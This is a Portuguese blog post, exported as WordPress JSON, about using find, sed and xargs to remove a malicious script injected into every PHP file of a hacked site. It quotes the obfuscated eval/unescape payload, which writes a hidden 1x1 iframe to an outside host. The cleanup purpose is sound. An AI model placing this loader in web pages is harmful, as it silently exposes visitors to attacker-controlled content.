{"id":174,"date":"2011-01-24T13:38:17","date_gmt":"2011-01-24T16:38:17","guid":{"rendered":"http:\/\/www.thiagosantos.com\/blog\/?p=174"},"modified":"2011-12-19T15:49:13","modified_gmt":"2011-12-19T18:49:13","slug":"buscar-e-substituir-em-muitos-arquivo-find-e-sed","status":"publish","type":"post","link":"https:\/\/thiagosantos.com\/blog\/174\/linux\/buscar-e-substituir-em-muitos-arquivo-find-e-sed\/","title":{"rendered":"Buscar e substituir em muitos arquivos find e sed"},"content":{"rendered":"<div>Se voc\u00ea chegou at\u00e9 aqui \u00e9 por que o seu site foi atacado! E voc\u00ea ainda n\u00e3o sabe a origem do ataque, e eu tamb\u00e9m n\u00e3o sei ! <strong><em>Pule para o <a href=\"http:\/\/thiagosantos.com\/blog\/174\/linux\/buscar-e-substituir-em-muitos-arquivo-find-e-sed\/#passo1\">passo 1<\/a><\/em><\/strong><\/div>\n<div><strong>Ou<\/strong> porqu\u00ea voc\u00ea quer aprender a buscar e substituir no Linux! &#8211; <strong><em>Pule para o <a href=\"http:\/\/thiagosantos.com\/blog\/174\/linux\/buscar-e-substituir-em-muitos-arquivo-find-e-sed\/#passo2\">passo 2<\/a><\/em><\/strong><\/div>\n<p>&nbsp;<\/p>\n<p><a name=\"passo1\"><\/a><strong>Passo 1 &#8211;<\/strong><\/p>\n<div id=\"_mcePaste\">Mas aqui tenho uma solu\u00e7\u00e3o para remover o script malicioso de todos os seus arquivos PHP sem ter\u00a0que abrir um por um, com uma s\u00f3 linha de comando no Linux voc\u00ea procura em todos os arquivos por uma express\u00e3o regular e substitue o script por string vazia.<\/div>\n<p>&nbsp;<\/p>\n<p><a name=\"passo2\"><\/a><strong>Passo 2 &#8211;<\/strong><\/p>\n<h3 id=\"_mcePaste\">O script que aparece no final de todos os arquivos \u00e9 o abaixo:<\/h3>\n<blockquote style=\"width: 350px; word-wrap: break-word;\">\n<div id=\"_mcePaste\"><span style=\"color: #808080;\"><em>&lt;script&gt;eval(unescape(&#8216;%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%63%61%74%74%77%77%2E%63%6F%6D%2F%3F%32%32%36%39%36%32%35%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29&#8217;));&lt;\/script&gt;&lt;!&#8211; uy7gdr5332rkmn &#8211;&gt;<\/em><\/span><\/div>\n<\/blockquote>\n<div>Usando o <strong>find <\/strong>com o <strong>sed<\/strong>, removemos o script de todos os arquivos:<\/div>\n<div>\n<ul>\n<li><strong>find <\/strong>para achar todos os arquivos PHP:<br \/>\n<em>find . -iname &#8220;*.php&#8221;<\/em><\/li>\n<\/ul>\n<\/div>\n<div><strong><br \/>\n<\/strong><\/div>\n<div id=\"_mcePaste\">\n<ul>\n<li>o <strong>sed <\/strong>para substituir a parte do texto que bate com a express\u00e3o regular:<br \/>\n<em>sed -i &#8216;s\/&lt;script.*uy7gdr5332rkmn &#8211;&gt;\/ \/g&#8217;<\/em><\/li>\n<\/ul>\n<\/div>\n<div><strong><em><span style=\"color: #808080;\"><br \/>\n<\/span><\/em><\/strong><\/div>\n<div id=\"_mcePaste\">Agora \u00e9 s\u00f3 usar os dois ao mesmo tempo com pipe e xargs e deixe a m\u00e1gica fluir!<\/div>\n<div id=\"_mcePaste\"><em><span style=\"color: #808080;\"><strong><span style=\"color: #000000;\">find . -iname &#8216;*.php&#8217; | xargs sed -i &#8216;s\/&lt;script.*uy7gdr5332rkmn &#8211;&gt;\/ \/g&#8217;<\/span><\/strong><\/span><\/em><\/div>\n<div><em><span style=\"color: #808080;\"><strong><span style=\"color: #000000;\"><br \/>\n<\/span><\/strong><\/span><\/em><\/div>\n<div><span style=\"color: #000000;\">Por hoje \u00e9 s\u00f3!<\/span><\/div>\n<div><span style=\"color: #000000;\">Abra\u00e7os<\/span><\/div>\n","protected":false},"excerpt":{"rendered":"<p>Se voc\u00ea chegou at\u00e9 aqui \u00e9 por que o seu site foi atacado! E voc\u00ea ainda n\u00e3o sabe a origem do ataque, e eu tamb\u00e9m n\u00e3o sei ! Pule para o passo 1 Ou porqu\u00ea voc\u00ea quer aprender a buscar e substituir no Linux! &#8211; Pule para o passo 2 &nbsp; Passo 1 &#8211; Mas [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[33],"tags":[81,82,77,79,80,78],"class_list":["post-174","post","type-post","status-publish","format-standard","hentry","category-linux","tag-buscar-e-substituir","tag-em-muitos-arquivos","tag-find","tag-find-and-replace","tag-over-multiple-files","tag-sed"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v24.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Buscar e substituir em muitos arquivos find e sed - Pereira, Thiago Santos.<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/thiagosantos.com\/blog\/174\/linux\/buscar-e-substituir-em-muitos-arquivo-find-e-sed\/\" \/>\n<meta property=\"og:locale\" content=\"pt_BR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Buscar e substituir em muitos arquivos find e sed - Pereira, Thiago Santos.\" \/>\n<meta property=\"og:description\" content=\"Se voc\u00ea chegou at\u00e9 aqui \u00e9 por que o seu site foi atacado! E voc\u00ea ainda n\u00e3o sabe a origem do ataque, e eu tamb\u00e9m n\u00e3o sei ! Pule para o passo 1 Ou porqu\u00ea voc\u00ea quer aprender a buscar e substituir no Linux! &#8211; Pule para o passo 2 &nbsp; Passo 1 &#8211; Mas [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/thiagosantos.com\/blog\/174\/linux\/buscar-e-substituir-em-muitos-arquivo-find-e-sed\/\" \/>\n<meta property=\"og:site_name\" content=\"Pereira, Thiago Santos.\" \/>\n<meta property=\"article:published_time\" content=\"2011-01-24T16:38:17+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2011-12-19T18:49:13+00:00\" \/>\n<meta name=\"author\" content=\"Pereira, Thiago Santos\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Pereira, Thiago Santos\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. tempo de leitura\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minuto\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/thiagosantos.com\/blog\/174\/linux\/buscar-e-substituir-em-muitos-arquivo-find-e-sed\/\",\"url\":\"https:\/\/thiagosantos.com\/blog\/174\/linux\/buscar-e-substituir-em-muitos-arquivo-find-e-sed\/\",\"name\":\"Buscar e substituir em muitos arquivos find e sed - Pereira, Thiago Santos.\",\"isPartOf\":{\"@id\":\"https:\/\/thiagosantos.com\/blog\/#website\"},\"datePublished\":\"2011-01-24T16:38:17+00:00\",\"dateModified\":\"2011-12-19T18:49:13+00:00\",\"author\":{\"@id\":\"https:\/\/thiagosantos.com\/blog\/#\/schema\/person\/56683334c52027e200fd9270c17c629d\"},\"inLanguage\":\"pt-BR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/thiagosantos.com\/blog\/174\/linux\/buscar-e-substituir-em-muitos-arquivo-find-e-sed\/\"]}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/thiagosantos.com\/blog\/#website\",\"url\":\"https:\/\/thiagosantos.com\/blog\/\",\"name\":\"Pereira, Thiago Santos.\",\"description\":\"the fun of code.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/thiagosantos.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pt-BR\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/thiagosantos.com\/blog\/#\/schema\/person\/56683334c52027e200fd9270c17c629d\",\"name\":\"Pereira, Thiago Santos\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pt-BR\",\"@id\":\"https:\/\/thiagosantos.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ed936469f86e5f07085e7540b2c0a115?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ed936469f86e5f07085e7540b2c0a115?s=96&d=mm&r=g\",\"caption\":\"Pereira, Thiago Santos\"},\"description\":\"Um cara que mora no Rio e n\u00e3o sabe nadar.\",\"sameAs\":[\"http:\/\/thiagosantos.com\"],\"url\":\"https:\/\/thiagosantos.com\/blog\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Buscar e substituir em muitos arquivos find e sed - Pereira, Thiago Santos.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/thiagosantos.com\/blog\/174\/linux\/buscar-e-substituir-em-muitos-arquivo-find-e-sed\/","og_locale":"pt_BR","og_type":"article","og_title":"Buscar e substituir em muitos arquivos find e sed - Pereira, Thiago Santos.","og_description":"Se voc\u00ea chegou at\u00e9 aqui \u00e9 por que o seu site foi atacado! E voc\u00ea ainda n\u00e3o sabe a origem do ataque, e eu tamb\u00e9m n\u00e3o sei ! Pule para o passo 1 Ou porqu\u00ea voc\u00ea quer aprender a buscar e substituir no Linux! &#8211; Pule para o passo 2 &nbsp; Passo 1 &#8211; Mas [&hellip;]","og_url":"https:\/\/thiagosantos.com\/blog\/174\/linux\/buscar-e-substituir-em-muitos-arquivo-find-e-sed\/","og_site_name":"Pereira, Thiago Santos.","article_published_time":"2011-01-24T16:38:17+00:00","article_modified_time":"2011-12-19T18:49:13+00:00","author":"Pereira, Thiago Santos","twitter_misc":{"Escrito por":"Pereira, Thiago Santos","Est. tempo de leitura":"1 minuto"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/thiagosantos.com\/blog\/174\/linux\/buscar-e-substituir-em-muitos-arquivo-find-e-sed\/","url":"https:\/\/thiagosantos.com\/blog\/174\/linux\/buscar-e-substituir-em-muitos-arquivo-find-e-sed\/","name":"Buscar e substituir em muitos arquivos find e sed - Pereira, Thiago Santos.","isPartOf":{"@id":"https:\/\/thiagosantos.com\/blog\/#website"},"datePublished":"2011-01-24T16:38:17+00:00","dateModified":"2011-12-19T18:49:13+00:00","author":{"@id":"https:\/\/thiagosantos.com\/blog\/#\/schema\/person\/56683334c52027e200fd9270c17c629d"},"inLanguage":"pt-BR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/thiagosantos.com\/blog\/174\/linux\/buscar-e-substituir-em-muitos-arquivo-find-e-sed\/"]}]},{"@type":"WebSite","@id":"https:\/\/thiagosantos.com\/blog\/#website","url":"https:\/\/thiagosantos.com\/blog\/","name":"Pereira, Thiago Santos.","description":"the fun of code.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/thiagosantos.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pt-BR"},{"@type":"Person","@id":"https:\/\/thiagosantos.com\/blog\/#\/schema\/person\/56683334c52027e200fd9270c17c629d","name":"Pereira, Thiago Santos","image":{"@type":"ImageObject","inLanguage":"pt-BR","@id":"https:\/\/thiagosantos.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ed936469f86e5f07085e7540b2c0a115?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ed936469f86e5f07085e7540b2c0a115?s=96&d=mm&r=g","caption":"Pereira, Thiago Santos"},"description":"Um cara que mora no Rio e n\u00e3o sabe nadar.","sameAs":["http:\/\/thiagosantos.com"],"url":"https:\/\/thiagosantos.com\/blog\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/posts\/174","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/comments?post=174"}],"version-history":[{"count":15,"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/posts\/174\/revisions"}],"predecessor-version":[{"id":324,"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/posts\/174\/revisions\/324"}],"wp:attachment":[{"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/media?parent=174"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/categories?post=174"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagosantos.com\/blog\/wp-json\/wp\/v2\/tags?post=174"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}